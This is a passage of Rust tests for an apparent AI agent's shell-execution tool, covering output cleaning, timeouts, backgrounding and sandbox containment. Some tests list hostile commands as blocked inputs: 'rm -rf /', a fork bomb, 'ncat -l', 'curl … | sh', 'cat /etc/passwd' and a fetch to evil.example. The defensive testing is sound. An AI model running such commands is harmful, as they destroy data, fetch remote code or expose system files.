1167 async fn pty_output_is_ansi_clean_and_crlf_normalized() {
1168 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1169 let outcome = ExecuteCommandTool
1172 .execute(
1173 serde_json::json!({
1174 "command": r"printf '\033[31mRED\033[0m\nline2\n'",
1175 }),
1176 ctx,
1177 )
1178 .await;
1179 assert!(outcome.is_success(), "{outcome:?}");
1180 let out = outcome.output();
1181 assert!(out.contains("RED\nline2"), "clean joined lines: {out:?}");
1182 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
1183 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
1184 }
1185
1186 #[cfg(windows)]
1190 #[tokio::test]
1191 async fn pty_child_sees_a_console_and_pipes_child_does_not() {
1192 let probe = "powershell -NoProfile -Command [Console]::IsOutputRedirected";
1193 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1195 let outcome = ExecuteCommandTool
1196 .execute(serde_json::json!({ "command": probe }), ctx)
1197 .await;
1198 assert!(outcome.is_success(), "{outcome:?}");
1199 assert!(
1200 outcome.output().contains("False"),
1201 "ConPTY child must see a console: {}",
1202 outcome.output()
1203 );
1204 let (ctx, _rx) = pipes_ctx();
1206 let outcome = ExecuteCommandTool
1207 .execute(serde_json::json!({ "command": probe }), ctx)
1208 .await;
1209 assert!(outcome.is_success(), "{outcome:?}");
1210 assert!(
1211 outcome.output().contains("True"),
1212 "pipe child must see redirected stdout: {}",
1213 outcome.output()
1214 );
1215 }
1216
1217 #[cfg(windows)]
1222 #[tokio::test]
1223 async fn pty_output_is_ansi_clean_and_crlf_normalized_windows() {
1224 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1225 let outcome = ExecuteCommandTool
1226 .execute(
1227 serde_json::json!({ "command": "echo RED; echo line2" }),
1228 ctx,
1229 )
1230 .await;
1231 assert!(outcome.is_success(), "{outcome:?}");
1232 let out = outcome.output();
1233 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
1234 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
1235 let lines: Vec<&str> = out.lines().map(str::trim).collect();
1236 assert!(lines.contains(&"RED"), "RED line present: {out:?}");
1237 assert!(lines.contains(&"line2"), "line2 line present: {out:?}");
1238 }
1239
1240 #[test]
1241 pub(crate) fn strip_ansi_drops_escapes_and_normalizes_line_endings() {
1242 assert_eq!(strip_ansi("\u{1b}[31mRED\u{1b}[0m"), "RED");
1245 assert_eq!(strip_ansi("\u{1b}[2K\u{1b}[1Gline"), "line");
1246 assert_eq!(strip_ansi("\u{1b}]0;title\u{7}body"), "body");
1247 assert_eq!(strip_ansi("\u{1b}]8;;url\u{1b}\\link"), "link");
1248 assert_eq!(strip_ansi("\u{1b}=keypad"), "keypad");
1249 assert_eq!(strip_ansi("a\r\nb"), "a\nb");
1250 assert_eq!(strip_ansi("50%\r100%\r\n"), "50%\n100%\n");
1251 assert_eq!(strip_ansi("\u{1b}P1$r0m\u{1b}\\text"), "text");
1254 assert_eq!(strip_ansi("\u{1b}_payload\u{1b}\\ok"), "ok");
1255 assert_eq!(strip_ansi("\u{1b}Xsos\u{1b}\\a\u{1b}^pm\u{1b}\\b"), "ab");
1256 assert_eq!(strip_ansi("ab\u{8}c"), "ac");
1258 assert_eq!(strip_ansi("x\u{7}y"), "xy");
1259 assert_eq!(strip_ansi("a\n\u{8}b"), "a\nb");
1261 assert_eq!(strip_ansi("\u{8}b"), "b");
1262 assert_eq!(strip_ansi("plain text"), "plain text");
1264 assert_eq!(strip_ansi("x\u{1b}"), "x");
1266 assert_eq!(strip_ansi("x\u{1b}[31"), "x");
1267 assert_eq!(strip_ansi("x\u{1b}Pdangling"), "x");
1269 }
1270
1271 #[test]
1272 pub(crate) fn capped_capture_keeps_head_and_tail() {
1273 let mut c = CappedCapture::new(64);
1275 c.push(b"hello ");
1276 c.push(b"world");
1277 let (out, truncated) = c.finish();
1278 assert_eq!(out, "hello world");
1279 assert!(!truncated);
1280 let mut c = CappedCapture::new(20);
1282 c.push(b"AAAAAAAAAA");
1283 c.push(&[b'x'; 100]);
1284 c.push(b"BBBBBBBBBB");
1285 let (out, truncated) = c.finish();
1286 assert!(truncated);
1287 assert!(out.starts_with("AAAAAAAAAA"), "head kept: {out:?}");
1288 assert!(out.ends_with("BBBBBBBBBB"), "tail kept: {out:?}");
1289 assert!(out.contains("truncated"), "marker present: {out:?}");
1290 }
1291
1292 #[test]
1293 pub(crate) fn secret_env_names_reports_planted_secret() {
1294 temp_env::with_var("MERMAID_TEST_PLANTED_API_KEY", Some("v"), || {
1296 let names = secret_env_names();
1297 assert!(
1298 names.iter().any(|n| n == "MERMAID_TEST_PLANTED_API_KEY"),
1299 "planted secret name must be scrubbed: {names:?}"
1300 );
1301 assert!(!names.iter().any(|n| n == "PATH"));
1302 });
1303 }
1304
1305 #[test]
1306 pub(crate) fn harden_env_sets_git_terminal_prompt() {
1307 let mut cmd = Command::new("sh");
1308 harden_noninteractive_env(&mut cmd);
1309 let set = cmd
1310 .as_std()
1311 .get_envs()
1312 .any(|(k, v)| k == "GIT_TERMINAL_PROMPT" && v.is_some_and(|v| v == "0"));
1313 assert!(set, "GIT_TERMINAL_PROMPT=0 must be injected");
1314 }
1315
1316 #[tokio::test]
1317 async fn dangerous_command_blocked() {
1318 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1319 let outcome = ExecuteCommandTool
1320 .execute(serde_json::json!({"command": "rm -rf /"}), ctx)
1321 .await;
1322 let error = outcome.error_message().expect("expected error");
1323 assert!(error.contains("Dangerous"));
1324 }
1325
1326 #[tokio::test]
1327 async fn cancellation_aborts_long_running_command() {
1328 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1329 let token = ctx.token.clone();
1330 let handle = tokio::spawn(async move {
1337 ExecuteCommandTool
1338 .execute(serde_json::json!({"command": "sleep 30"}), ctx)
1339 .await
1340 });
1341 tokio::time::sleep(Duration::from_millis(30)).await;
1343 token.cancel();
1344 let start = Instant::now();
1345 let outcome = tokio::time::timeout(Duration::from_secs(15), handle)
1346 .await
1347 .expect("didn't hang")
1348 .expect("join");
1349 let elapsed = start.elapsed();
1350 assert!(outcome.was_cancelled());
1351 assert!(
1355 elapsed < Duration::from_secs(10),
1356 "cancellation took {elapsed:?} — far slower than expected (regression?)"
1357 );
1358 }
1359
1360 #[tokio::test]
1361 async fn timeout_honored() {
1362 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1363 let outcome = ExecuteCommandTool
1364 .execute(serde_json::json!({"command": "sleep 5", "timeout": 1}), ctx)
1365 .await;
1366 assert_eq!(outcome.status, mermaid_domain::ToolStatus::Error);
1367 let output = outcome.as_tool_message_content();
1368 assert!(output.contains("timed out"));
1369 assert!(output.contains("was killed"));
1370 assert!(output.contains("mode=\"background\""));
1371 }
1372
1373 #[cfg(not(target_os = "windows"))]
1378 #[tokio::test]
1379 async fn timeout_kills_process_tree() {
1380 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1381 let marker =
1383 std::env::temp_dir().join(format!("mermaid_timeout_pgid_{}.pid", std::process::id()));
1384 let _ = std::fs::remove_file(&marker);
1385 let command = format!(
1386 "sh -c 'echo $$ > {}; sleep 30' & sleep 30",
1387 marker.display()
1388 );
1389 let outcome = ExecuteCommandTool
1390 .execute(serde_json::json!({ "command": command, "timeout": 1 }), ctx)
1391 .await;
1392 assert_eq!(outcome.status, mermaid_domain::ToolStatus::Error);
1393
1394 let mut pid = None;
1397 for _ in 0..30 {
1398 if let Ok(s) = std::fs::read_to_string(&marker)
1399 && let Ok(p) = s.trim().parse::<u32>()
1400 {
1401 pid = Some(p);
1402 break;
1403 }
1404 tokio::time::sleep(Duration::from_millis(50)).await;
1405 }
1406 let pid = pid.expect("grandchild never recorded its pid");
1407
1408 let mut alive = true;
1410 for _ in 0..40 {
1411 if !process_running(pid).await {
1412 alive = false;
1413 break;
1414 }
1415 tokio::time::sleep(Duration::from_millis(50)).await;
1416 }
1417 let _ = std::fs::remove_file(&marker);
1418 assert!(!alive, "grandchild pid {pid} leaked past the timeout");
1419 }
1420
1421 #[cfg(not(target_os = "windows"))]
1422 #[tokio::test]
1423 async fn background_mode_returns_pid_log_and_detected_url() {
1424 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1425 let outcome = ExecuteCommandTool
1426 .execute(
1427 serde_json::json!({
1428 "command": "printf 'ready http://127.0.0.1:54321\\n'; exec sleep 30",
1429 "mode": "background",
1430 "startup_timeout_secs": 2,
1431 "ready_pattern": "ready"
1432 }),
1433 ctx,
1434 )
1435 .await;
1436
1437 assert!(
1438 outcome.is_success(),
1439 "expected background success: {:?}",
1440 outcome
1441 );
1442 let output = outcome.output().to_string();
1443 assert!(output.contains("Background command started"));
1444 assert!(output.contains("PID:"));
1445 assert!(output.contains("Log:"));
1446 assert!(output.contains("Ready: matched pattern"));
1447 assert!(output.contains("Detected URL: http://127.0.0.1:54321"));
1448
1449 if let Some(pid) = parse_pid(&output) {
1450 let _ = Command::new("kill").arg(pid.to_string()).status().await;
1451 }
1452 }
1453
1454 #[cfg(target_os = "windows")]
1455 #[tokio::test]
1456 async fn background_mode_returns_pid_and_log_on_windows() {
1457 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1458 let outcome = ExecuteCommandTool
1459 .execute(
1460 serde_json::json!({
1469 "command": "cmd /c echo ready; ping -n 60 127.0.0.1",
1470 "mode": "background",
1471 "startup_timeout_secs": 15,
1472 "ready_pattern": "ready"
1473 }),
1474 ctx,
1475 )
1476 .await;
1477
1478 assert!(
1479 outcome.is_success(),
1480 "expected background success on Windows: {outcome:?}"
1481 );
1482 let output = outcome.output().to_string();
1483 assert!(output.contains("Background command started"));
1484 assert!(output.contains("PID:"));
1485 assert!(output.contains("Ready: matched pattern"));
1486 assert!(
1488 outcome.metadata.process.is_some(),
1489 "background outcome must carry a ManagedProcess"
1490 );
1491
1492 if let Some(pid) = parse_pid(&output) {
1494 mermaid_model::utils::terminate_tree(pid, mermaid_model::utils::Grace::Graceful).await;
1495 }
1496 }
1497
1498 #[tokio::test]
1499 async fn ctrl_b_backgrounds_a_running_foreground_command() {
1500 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1501 let background = ctx.background.clone();
1502 let command = if cfg!(target_os = "windows") {
1504 "ping -n 30 127.0.0.1"
1505 } else {
1506 "sleep 30"
1507 };
1508
1509 let canceller = tokio::spawn(async move {
1511 tokio::time::sleep(Duration::from_millis(300)).await;
1512 background.cancel();
1513 });
1514 let outcome = ExecuteCommandTool
1515 .execute(
1516 serde_json::json!({ "command": command, "timeout": 60 }),
1517 ctx,
1518 )
1519 .await;
1520 let _ = canceller.await;
1521
1522 assert!(
1523 outcome.is_success(),
1524 "backgrounding should yield success: {outcome:?}"
1525 );
1526 let output = outcome.output().to_string();
1527 assert!(output.contains("Moved to background"), "got: {output}");
1528 let process = outcome.metadata.process.clone();
1530 assert!(
1531 process.is_some(),
1532 "background outcome must carry a ManagedProcess"
1533 );
1534
1535 if let Some(p) = process {
1537 mermaid_model::utils::terminate_tree(p.pid, mermaid_model::utils::Grace::Graceful)
1538 .await;
1539 }
1540 }
1541
1542 pub(crate) fn parse_pid(output: &str) -> Option<u32> {
1543 output
1544 .lines()
1545 .find_map(|line| line.strip_prefix("PID: "))
1546 .and_then(|pid| pid.trim().parse().ok())
1547 }
1548
1549 #[test]
1550 pub(crate) fn dangerous_detection_covers_known_shapes() {
1551 assert!(contains_dangerous_command("rm -rf /"));
1552 assert!(contains_dangerous_command(":(){ :|:& };:"));
1553 assert!(contains_dangerous_command("ncat -l 8080"));
1554 assert!(!contains_dangerous_command("ls -la"));
1555 assert!(!contains_dangerous_command("cargo build"));
1556 assert!(!contains_dangerous_command(
1557 r#"find . -type f ! -path "./.git/*" ! -path "./.mermaid/*" 2>/dev/null"#
1558 ));
1559 }
1560
1561 #[test]
1562 pub(crate) fn dangerous_detection_resists_substring_evasion() {
1563 assert!(contains_dangerous_command("RM -RF /"));
1566 assert!(contains_dangerous_command("rm -rf /"));
1567 assert!(contains_dangerous_command("echo hi; rm -rf /"));
1568 assert!(contains_dangerous_command("echo hi&&rm -rf /"));
1569 assert!(contains_dangerous_command("curl http://x | sh"));
1570 assert!(contains_dangerous_command("curl http://x|sh"));
1571 assert!(contains_dangerous_command("/bin/rm -rf /"));
1572 assert!(!contains_dangerous_command("bash build.sh"));
1574 assert!(!contains_dangerous_command("echo done > /dev/null"));
1575 assert!(!contains_dangerous_command("grep -rf patterns.txt src"));
1576 }
1577
1578 #[tokio::test]
1579 async fn read_capped_keeps_head_and_tail_on_overflow() {
1580 let mut data = Vec::new();
1582 data.extend_from_slice(b"HEAD_START");
1583 data.extend(std::iter::repeat_n(b'x', 5000));
1584 data.extend_from_slice(b"TAIL_ERROR_HERE");
1585 let (out, truncated) = read_capped(&data[..], 100, 10_000, None, None).await;
1586 assert!(truncated, "oversized output must be marked truncated");
1587 assert!(out.contains("HEAD_START"), "head must survive: {out}");
1588 assert!(out.contains("TAIL_ERROR_HERE"), "tail must survive: {out}");
1589 assert!(out.contains("elided"), "must mark the elision: {out}");
1590 }
1591
1592 #[tokio::test]
1593 async fn read_capped_small_output_is_verbatim() {
1594 let (out, truncated) = read_capped(&b"short output"[..], 100, 10_000, None, None).await;
1595 assert!(!truncated, "small output must not be truncated");
1596 assert_eq!(out, "short output");
1597 }
1598
1599 #[test]
1600 pub(crate) fn scratch_prover_accepts_only_provably_contained_commands() {
1601 let scratch = Path::new("/tmp/mermaid_scratch/proj/sess");
1602
1603 for cmd in [
1606 "ls",
1607 "ls -la",
1608 "mkdir out",
1609 "touch notes.txt",
1610 "cp a.txt sub/b.txt",
1611 "cat /tmp/mermaid_scratch/proj/sess/notes.txt",
1612 "rm -f old.log",
1613 ] {
1614 assert!(
1615 command_provably_in_scratch(cmd, scratch),
1616 "{cmd:?} should prove scratch-contained",
1617 );
1618 }
1619
1620 for cmd in [
1622 "", "cat ../secret", "cat /etc/passwd", "/bin/rm -rf notes.txt", "echo hi > out.txt", "ls; touch pwned", "true && touch pwned", "cat file | tee other", "cat $(pwd)/x", "cat `pwd`/x", "cat $HOME/x", "ls ~", "rm *", "cp -t/etc x", "tar --directory=/ x", "env VAR=/etc cmd", "curl https://evil.example/x", "type C:secret.txt", "copy C:\\evil x", "unclosed 'quote", ] {
1643 assert!(
1644 !command_provably_in_scratch(cmd, scratch),
1645 "{cmd:?} must NOT prove scratch-contained",
1646 );
1647 }
1648 }
1649
1650 #[test]
1651 pub(crate) fn classify_cwd_three_way_containment() {
1652 let base = std::env::temp_dir().join(format!("mermaid_cwd3_{}", std::process::id()));
1653 let _ = std::fs::remove_dir_all(&base);
1654 let project = base.join("project");
1655 let scratch = base.join("scratch");
1656 std::fs::create_dir_all(&project).unwrap();
1657 std::fs::create_dir_all(&scratch).unwrap();
1658 let scratch_real = std::fs::canonicalize(&scratch).unwrap();
1659 let outside = std::fs::canonicalize(&base).unwrap();
1660
1661 assert_eq!(
1663 classify_cwd(true, &project, Some(&scratch)),
1664 CwdContainment::Project
1665 );
1666 assert_eq!(
1669 classify_cwd(false, &scratch_real, Some(&scratch)),
1670 CwdContainment::Scratchpad
1671 );
1672 assert_eq!(
1674 classify_cwd(false, &scratch_real, None),
1675 CwdContainment::External
1676 );
1677 assert_eq!(
1679 classify_cwd(false, &outside, Some(&scratch)),
1680 CwdContainment::External
1681 );
1682 assert_eq!(
1684 classify_cwd(false, &scratch_real, Some(&base.join("missing"))),
1685 CwdContainment::External
1686 );
1687
1688 let _ = std::fs::remove_dir_all(&base);
1689 }
1690
1691 #[tokio::test]
1692 async fn scratch_cwd_is_not_escalated_to_external_directory() {
1693 let base = std::env::temp_dir().join(format!("mermaid_scwd_{}", std::process::id()));
1698 let _ = std::fs::remove_dir_all(&base);
1699 let project = base.join("project");
1700 let scratch = base.join("scratch");
1701 std::fs::create_dir_all(&project).unwrap();
1702 std::fs::create_dir_all(&scratch).unwrap();
1703
1704 let mut config = mermaid_domain::Config::default();
1707 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
1708 let (mut ctx, _rx) = crate::providers::ctx::test_exec_context_with_config(
1709 TurnId(1),
1710 ToolCallId(1),
1711 project.clone(),
1712 config,
1713 );
1714 ctx.scratchpad = Some(scratch.clone());
1715 let outcome = ExecuteCommandTool
1716 .execute(
1717 serde_json::json!({
1718 "command": "echo hi",
1719 "working_dir": scratch.display().to_string(),
1720 }),
1721 ctx,
1722 )
1723 .await;
1724 assert!(
1725 outcome.is_success(),
1726 "scratch cwd must not be escalated to ExternalDirectory: {outcome:?}",
1727 );
1728
1729 let _ = std::fs::remove_dir_all(&base);
1730 }
1731
1732 #[tokio::test]
1733 async fn child_env_carries_scratchpad_export() {
1734 let dir = std::env::temp_dir().join(format!("mermaid_env_{}", std::process::id()));
1737 std::fs::create_dir_all(&dir).unwrap();
1738 #[cfg(unix)]
1739 let probe = r#"printf %s "${MERMAID_SCRATCHPAD:-UNSET}""#;
1740 #[cfg(windows)]
1741 let probe = "if ($env:MERMAID_SCRATCHPAD) { Write-Output $env:MERMAID_SCRATCHPAD } else { Write-Output UNSET }";
1742
1743 let run = |scratchpad: Option<PathBuf>| {
1744 let dir = dir.clone();
1745 async move {
1746 let mut cmd = build_sandboxed_shell(probe, false, None);
1747 cmd.current_dir(&dir)
1748 .stdin(Stdio::null())
1749 .stdout(Stdio::piped())
1750 .stderr(Stdio::null())
1751 .env_remove(SCRATCHPAD_ENV_VAR);
1754 export_scratchpad_env(&mut cmd, scratchpad.as_deref());
1755 let out = cmd.output().await.expect("probe spawns");
1756 String::from_utf8_lossy(&out.stdout).trim().to_string()
1757 }
1758 };
1759
1760 let exported = run(Some(dir.clone())).await;
1761 assert_eq!(
1762 exported,
1763 dir.display().to_string(),
1764 "child must see the scratchpad path",
1765 );
1766 let absent = run(None).await;
1767 assert_eq!(absent, "UNSET", "no scratchpad -> no exported variable");
1768
1769 let _ = std::fs::remove_dir_all(&dir);
1770 }
1771}